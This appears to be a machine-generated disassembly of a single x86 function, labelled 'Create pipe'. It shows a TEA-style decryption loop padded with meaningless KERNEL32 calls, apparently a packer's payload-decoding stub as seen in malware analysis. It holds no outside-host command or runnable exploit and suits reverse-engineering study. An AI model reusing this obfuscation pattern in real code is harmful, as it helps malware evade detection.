Function at 0x4037b0
Capabilities:
Create pipe

Disassembly:
mov eax, dword [0x5e8438]
mov ecx, dword [0x5e708c]
sub esp, 0xc84
push ebx
push ebp
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x403a09
mov ebx, ecx
mov dword [esp + 0x34], 0x9e3779b9
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x28], eax
jmp 0x4037f6
mov ebx, dword [esp + 0x1c]
xor esi, esi
cmp dword [0x5e8438], 0x959
jne 0x40387b
push esi
lea eax, [esp + 0x494]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
push esi
lea ecx, [esp + 0x98]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0x403630
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [0x44231c]
mov edi, dword [ebx]
mov edx, dword [0x442318]
mov ebx, dword [ebx + 4]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x24], edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x30], edx
call fcn.004037a0
mov ecx, dword [0x442320]
add dword [esp + 0x10], 0x23f
mov ebp, dword [0x442324]
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x20], 0x20
jmp 0x4038d2
xor esi, esi
mov dword [esp + 0x18], 2
add dword [esp + 0x18], 3
mov eax, dword [0x5e8438]
mov ecx, edi
shl ecx, 4
add ecx, dword [esp + 0x2c]
cmp eax, 0xfa9
jne 0x403900
mov dword [0x5e75fc], 0xedeb2e40
jmp 0x40390d
cmp eax, 0x3eb
jne 0x40390d
mov dword [0x5e7088], esi
mov edx, dword [esp + 0x10]
add edx, edi
mov eax, dword [esp + 0x24]
shr eax, 5
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x14]
add eax, ebp
xor eax, edx
xor eax, ecx
cmp dword [0x5e8438], 0x213
mov dword [0x5e75f8], 0xf4ea3dee
mov dword [esp + 0x14], eax
jne 0x40397d
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0x30
lea ecx, [esp + 0x44]
push esi
push ecx
mov dword [esp + 0x48], esi
call fcn.00409420
add esp, 0xc
lea edx, [esp + 0x3c]
push edx
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov eax, dword [esp + 0x14]
sub ebx, eax
cmp dword [0x5e8438], 0xc
jne 0x40398f
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
mov ecx, dword [esp + 0x10]
mov edx, ebx
shr edx, 5
add ecx, ebx
mov dword [esp + 0x14], edx
mov eax, dword [esp + 0x38]
add dword [esp + 0x14], eax
mov esi, ebx
shl esi, 4
add esi, dword [esp + 0x30]
xor esi, ecx
cmp dword [0x5e8438], 0xb03
jne 0x4039d1
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov eax, dword [esp + 0x14]
xor eax, esi
sub edi, eax
mov dword [esp + 0x24], edi
mov eax, dword [esp + 0x34]
sub dword [esp + 0x10], eax
dec dword [esp + 0x20]
jne 0x4038d0
mov eax, dword [esp + 0x1c]
mov dword [eax], edi
mov dword [eax + 4], ebx
add eax, 8
dec dword [esp + 0x28]
mov dword [esp + 0x1c], eax
jne 0x4037f0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc84
ret